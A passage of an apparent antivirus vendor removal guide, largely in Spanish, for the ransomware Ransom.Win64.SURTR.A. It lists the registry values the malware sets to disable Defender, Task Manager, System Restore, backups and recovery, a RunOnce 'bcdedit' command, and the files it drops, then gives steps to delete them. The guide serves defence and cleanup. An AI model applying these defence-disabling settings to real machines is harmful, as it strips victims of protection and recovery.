  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLinkedConnections  = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableTaskMgr = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • DisableAntiSpyware  = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System
    • AllowBlockingAppsAtShutdown = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
    • StartMenuLogOff = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
    • NoRun = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableChangePassword = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableLockWorkstation = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • NoLogoff = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
    • {645FF040-5081-101B-9F08-00AA002F954E} = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE
    • DisableSetup = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore
    • DisableConfig = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore
    • DisableSR = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
    • DisableBackupToDisk = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
    • DisableBackupToNetwork = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
    • DisableBackupToOptical = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
    • DisableBackupLauncher = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
    • DisableRestoreUI = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
    • DisableBackupUI = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
    • DisableSystemBackupUI = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
    • OnlySystemBackup = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
    • NoBackupToDisk = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
    • NoBackupToNetwork = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
    • NoBackupToOptical = 1
  • In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
    • NoRunNowBackup = 1
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de}
    • Enable  = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    • *test = bcdedit /deletevalue {current} safeboot
  • In HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
    • *execute =
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surt\UserChoice
    • ProgId = surt_auto_file
  • In HKEY_CLASSES_ROOT\.surt
    • = surt_auto_file
  • In HKEY_CLASSES_ROOT\surt_auto_file\DefaultIcon
    • = C:\ProgramData\Service\SurtrIcon.ico\
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableTaskMgr = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
    • NoRun = 0
DATA_TEXTBOX
  • Cierre el Editor del Registro.

    • Step 7

    Buscar y eliminar este archivo

    [ learnMore ]
    Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • C:\ProgramData\Service\SurtrIcon.ico
  • C:\ProgramData\Service\SURTR_README.hta
  • C:\ProgramData\Service\SURTR_README.txt
  • C:\ProgramData\Service\BUs.surt
  • C:\ProgramData\Service\ID_DATA.surt
  • C:\ProgramData\Service\Private_DATA.surt
  • C:\ProgramData\Service\Public_DATA.surt
  • C:\ProgramData\Service\Service.surt
  • C:\ProgramData\Service\Surtr.exe
  • C:\ProgramData\Service\SurtrBackGround.jpg
  • C:\ProgramData\Service\SurtrIcon.ico
  • {Encrypted Directory}\SURTR_README.hta
  • {Encrypted Directory}\SURTR_README.txt
  • {Encrypted Directory}\Public_DATA.surt
  • %Common Startup%\Surtr.exe
  • %Common Startup%\SURTR_README.hta
  • %Common Startup%\SURTR_README.txt
  • %User Temp%\Service\Surtr.exe
  • %User Temp%\Service\Public_DATA.surt
  • %User Temp%\Service\Private_DATA.surt
  • %User Temp%\Service\ID_DATA.surt
  • %User Temp%\Service\SURTR_README.hta
  • %User Temp%\Service\SURTR_README.txt
  • %Desktop%\Private_DATA.surt
  • %Desktop%\ID_DATA.surt
  • %Desktop%\SURTR_README.hta
  • %Desktop%\SURTR_README.txt

    • Step 8

    Buscar y eliminar estas carpetas

    [ learnMore ]
    Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todas las carpetas ocultas.
    • C:\ProgramData\Service
    • %temp%\Service\

    Step 9

    Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Ransom.Win64.SURTR.A En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

    Step 10

    Restore encrypted files from backup.


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